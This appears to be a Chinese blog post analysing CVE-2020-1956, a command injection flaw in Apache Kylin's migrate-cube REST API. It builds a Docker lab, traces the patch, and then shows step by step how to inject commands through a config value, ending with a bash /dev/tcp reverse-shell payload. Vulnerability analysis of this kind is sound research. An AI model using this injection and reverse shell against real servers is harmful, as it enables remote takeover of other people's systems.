来源:香依香偎@闻道解惑
零、CVE-2020-1956
2020年5月22日,CNVD 通报了 Apache Kylin 存在命令注入漏洞 CVE-2020-1956,地址在 http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202005-1133 。
Apache Kylin 是美国 Apache 软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark 之上的 SQL 查询接口及多维分析(OLAP)等功能。
Apache Kylin 中的静态 API 存在安全漏洞。攻击者可借助特制输入利用该漏洞在系统上执行任意OS命令。以下产品及版本受到影响:Apache Kylin 2.3.0版本至2.3.2版本,2.4.0版本至2.4.1版本,2.5.0版本至2.5.2版本,2.6.0版本至2.6.5版本,3.0.0-alpha版本,3.0.0-alpha2版本,3.0.0-beta版本,3.0.0版本,3.0.1版本。
下面就来分析一下这个漏洞。
一、搭建环境
Kylin 的环境并不好搭建,包括 Hadoop、Hbase、Spark、Kafka 等等一系列的组件需要安装配置。幸好,Kylin 官网文档 http://kylin.apache.org/cn/docs/install/kylin_docker.html 提供了 Docker 环境的启动指南,分别执行这两个命令即可一键启动。
1 | docker pull apachekylin/apache-kylin-standalone:3.0.1 |
1 | docker run -d \ |
使用默认密码 admin/KYLIN 登录,就能看到已经配置好的模型(models),环境搭建大功告成。
二、Migrate Cube
这个漏洞的补丁代码在 github 上,地址是 https://github.com/apache/kylin/commit/9cc3793ab2f2f0053c467a9b3f38cb7791cd436a# 。
从补丁代码里可以看出,漏洞点在 CubeService 中的 migrateCube() 函数,漏洞原因是使用 String.format() 格式化待执行的系统命令且未做过滤,导致命令内容可被注入,涉及的参数包括 srcCfgUri、dstCfgUri、projectName三个。
Migrate Cube 是什么?在官网的文档的 Restful 章节 http://kylin.apache.org/cn/docs/howto/howto_use_restapi.html#migrate-cube 中,可以看到这个 Restful接口的描述:
接口中显示需要两个路径入参,分别是 cube 和 project。回看 kylin 页面上的表格里,已经显示了 cube name 和对应的 Project 。
我们选择第一行记录中的 cube:kylin_sales_cube 和对应的 Project:learn_kylin 作为路径参数,POST 这个报文看看。
收到错误响应,提示 One click migration is disable。
二、Migrate Cube
One click migration is disable 的提示,看起来有点眼熟。回看一眼patch code,嘿,原来这个错误提示就在 migrateCube() 函数的开头呀。
对应的配置检查函数 isAllowAutoMigrateCube() 在 KylinConfigBase.java 中,从配置项中读取了 kylin.tool.auto-migrate-cube.enabled,默认值为 FALSE。
如果要把配置修改为 true,有两个办法。
- 方法一:使用 docker exec -it <container_id> bash 命令进入容器,修改其中 conf/kylin.properties 文件,增加 kylin.tool.auto-migrate-cube.enabled=true 的配置项,然后在容器中使用 bin/kylin stop 和 bin/kylin start 命令重启 kylin。
- 方法二:在 WEB 界面上点击 SYSTEM 和 SET Config,手动输入配置项名称 kylin.tool.auto-migrate-cube.enabled 和值 True。
方法一是永久有效,只是需要重启 kylin 进程;方法二立即生效但进程重启或 Reload Config 之后就失效。我们选择相对简单一些的方法二来操作。
修改完配置之后,再次发送 POST Migrate Cube 的报文,这次的报错提示为 Source configuration should not be empty.
对应代码中的 srcCfgUri 和 dstCfgUri 的非空检查。
这两个值同样来自于配置项,分别是 kylin.tool.auto-migrate-cube.src-config 和 kylin.tool.auto-migrate-cube.dest-config。
我们可以用前面配置 kylin.tool.auto-migrate-cube.enabled 同样的方法来配置这两个值。不过,在配置之前,你有没有注意到,这两个值,就是命令注入的关键参数呢?
三、命令注入
好,用 destCfgUri 来注入试试。在界面上 Set Config,把 srcCfgUri 配置为 /home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie,将 destCfgUri 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/xiang; echo 。注意其中注入了 touch /tmp/xiang 的系统命令。
重新发起 Migrate Cube 的请求。
收到 200 成功响应。
查看 docker 容器,注入的命令 touch /tmp/xiang 已经成功执行。
可以反弹 shell 么?当然可以。将 kylin.tool.auto-migrate-cube.dest-config 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; bash -i >& /dev/tcp/172.17.0.1/9999 0>&1; echo 。其中注入的命令从 touch /tmp/xiang 换成了反弹 shell 的命令 bash -i >& /dev/tcp/172.17.0.1/9999 0>&1,反弹到宿主机 172.17.0.1 上。
在宿主机上启动监听。
再发送一次 Migrate Cube 报文,等待几秒即可获取反弹 shell。